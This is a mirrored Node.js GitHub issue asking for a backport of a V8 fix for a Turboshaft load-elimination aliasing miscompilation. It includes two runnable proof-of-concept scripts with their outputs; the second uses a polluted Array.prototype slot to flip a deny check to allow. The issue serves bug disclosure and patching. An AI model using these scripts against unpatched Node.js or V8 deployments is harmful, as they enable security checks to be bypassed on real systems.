Hacktoberfest 2026:維護者為十月標記出來的 issue,仍然開放、適合新手。 瀏覽 Hacktoberfest issue

V8 Turboshaft LLE alias bug (554421904) not backported to V8 14.6 (Node.js v26)

未關閉
#66,083 5 則留言 0 個 reaction 已指派 0 人 在 GitHub 檢視

維護者通常 1 天內回覆

還沒有人認領這個 Issue。

評估

難度
4/5
預估耗時
3-5 天
新手友好度
48/100
Issue 類型
缺陷
描述清晰度
描述清楚
活躍度
活躍
技術堆疊
javascript, nodejs
領域
compilers

研究方向

先比較 Node.js 的 V8 14.6 snapshot 與 upstream commit b44239fe,接著使用文件中記載的 Node.js v26 命令執行 v8-lle-poc.js 和 v8-lle-escalation.js。檢查 V8 的 backport 流程,並根據兩個預期輸出驗證已套用修補程式的 build;完成表示修復已套用,或其排程已確認。

由索引模型根據 Issue 內容生成。

描述

Summary

V8 bug 554421904 — "Turboshaft LLE: non-writing calls can create aliases" — is fixed upstream in V8 15.3 / Chrome 153 by commit b44239fe. The fix is not present in the V8 14.6 snapshot shipped by current stable Node.js v26.3.0.

An optimized function returns a wrong value (undefined instead of 1.1) because Turboshaft's Late Load Elimination (LLE) marks a BoundFunction invocation as a non-writing call, but the call creates a hidden alias to an input array and writes through that alias. LLE does not invalidate its tracked state, so a subsequent valid store (set7) is eliminated — the returned array slot stays undefined.

This is a backport request: please apply b44239fe to Node.js's V8 14.6 line, or confirm it is already scheduled.


Environment

Node.js v26.3.0 (current stable)
V8 14.6.202.34-node.20
Platform macOS arm64 (compiler-level bug — platform independent)
Reproduced 5/5 fresh processes
Fixed in Chrome 153 / V8 15.3 (commit b44239fe) — absent in Node.js v26

Steps to Reproduce

node --allow-natives-syntax v8-lle-poc.js

Actual output (wrong) on Node.js v26.3.0:

Optimization status: 65 | Turboshaft(64): true | TurboFan(2): false | Maglev(16): false
staleArray[0]: 1.1  | expected: 1.1  | OK
staleArray[7]: undefined | expected: 1.1  | WRONG!
target.length: 0    | expected: 0    | OK
RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store
  V8: 14.6.202.34-node.20 | Node: v26.3.0

Expected output (patched build):

staleArray[0]: 1.1 | expected: 1.1 | OK
staleArray[7]: 1.1 | expected: 1.1 | OK
target.length: 0   | expected: 0   | OK
RESULT: NOT TRIGGERED on this build

PoC #1 — Correctness (v8-lle-poc.js)

// V8 Turboshaft LLE alias bug (V8 554421904) — NOT backported to V8 14.6 (Node.js v26)
// Upstream fix: commit b44239fe (V8 15.3 / Chrome 153)
// Run: node --allow-natives-syntax v8-lle-poc.js
'use strict';

function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
  const receiver = rest[32765] ? rest[32766] : doubleArray;
  set0(receiver, 1.1);
}
function victim(payload) {
  const staleArray = Array(8);
  const target = [];
  if (!trigger) staleArray.x = 0;
  boundCarrier(trigger, staleArray);
  set7(staleArray, payload);
  return { target, staleArray };
}

%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);

const doubleArray = Array(8);
set0(doubleArray, 1.1);
set7(doubleArray, 0);
set0(Array(8), 0);

const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));

let trigger = 0;
victim(0);
trigger = 1;
boundCarrier(trigger, doubleArray);
trigger = 0;
victim(0);

%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const { target, staleArray } = victim(1.1);

const status = %GetOptimizationStatus(victim);
console.log('Optimization status:', status, '| Turboshaft(64):', !!(status & 64));

const a0 = staleArray[0];
const a7 = staleArray[7];
console.log('staleArray[0]:', a0, '| expected: 1.1 |', a0 === 1.1 ? 'OK' : 'WRONG!');
console.log('staleArray[7]:', a7, '| expected: 1.1 |', a7 === 1.1 ? 'OK' : 'WRONG!');

if (a0 === 1.1 && a7 === 1.1) {
  console.log('RESULT: NOT TRIGGERED on this build');
} else {
  console.log('RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store');
  console.log('  V8:', process.versions.v8, '| Node:', process.version);
}

PoC #2 — Escalation (v8-lle-escalation.js)

'use strict';
function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
  const receiver = rest[32765] ? rest[32766] : doubleArray;
  set0(receiver, 1.1);
}
function victim(payload) {
  const staleArray = Array(8);
  const target = [];
  if (!trigger) staleArray.x = 0;
  boundCarrier(trigger, staleArray);
  set7(staleArray, payload);      // DENY write — LLE target
  return staleArray[7];           // own property if written, else prototype
}

%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);

const doubleArray = Array(8);
set0(doubleArray, 1.1); set7(doubleArray, 0); set0(Array(8), 0);
const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));

let trigger = 0; victim(0);
trigger = 1; boundCarrier(trigger, doubleArray);
trigger = 0; victim(0);

Array.prototype[7] = 'ALLOW';   // attacker-controlled prototype slot

%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const r = victim(0);   // payload 0 = DENY

console.log('status:', %GetOptimizationStatus(victim), '| returned arr[7]:', r);
console.log(r === 0 ? 'DENY OK (secure)' : 'STALE ALLOW via prototype — security decision on wrong value!');
delete Array.prototype[7];

Confirmed output (Node.js v26.3.0):

status: 65 | returned arr[7]: ALLOW
STALE ALLOW via prototype — security decision on wrong value!

Note: the escalation requires attacker-controlled JS execution. It demonstrates the maximal impact class of the miscompilation only, not a standalone boundary-crossing claim.


Root Cause

  • boundCarrier = carrier.bind(null, ...Array(32765).fill(0)) — 32,765 bound args + 2 call args = 32,767 (kMaxArguments)
  • Turboshaft LLE marks the BoundFunction invocation as !can_write() because it only allocates new memory for argument marshalling
  • Inside carrier, rest[32766] is staleArray — the call created an alias to the input, and set0 writes through it
  • LLE does not invalidate staleArray's state, so set7(staleArray, payload) is eliminated
  • Result: staleArray[7] stays undefined

Upstream commit message (b44239fe) confirms:

"The can_write effect really means 'can write to pre-existing memory'... A builtin that allocates memory and writes to it can be marked as !can_write(), but it could still create aliases to its inputs, which we do need to invalidate."


Suggested Fix

Backport V8 commit b44239fe
Change-Id: I8045ec40d2819d9ab92795b2352374a0df20cbc8
"[M153] [turboshaft] LLE: non-writing calls can create aliases" — Fixed: 554421904

References

主要語言
JavaScript
星號
122k
分支
38.4k
平均合併
4 天 10 小時
30 天內合併 PR
276

環境準備

從這裡開始

  1. 先讀完整個 Issue,再讀專案的貢獻指南。
  2. 在 Issue 下留言說明你要接手 —— 這能避免兩個人做同樣的事。
  3. Fork 儲存庫,在一個分支上完成修改。
  4. 送出 Pull Request,並在描述裡引用這個 Issue 編號。

nodejs/node 的其他 Issue

查看 nodejs/node 的全部 Issue

相似的 Issue

更多 JavaScript Issue

把新 issue 寄到你的電子郵件信箱

精選適合新手參與的 GitHub issue 摘要。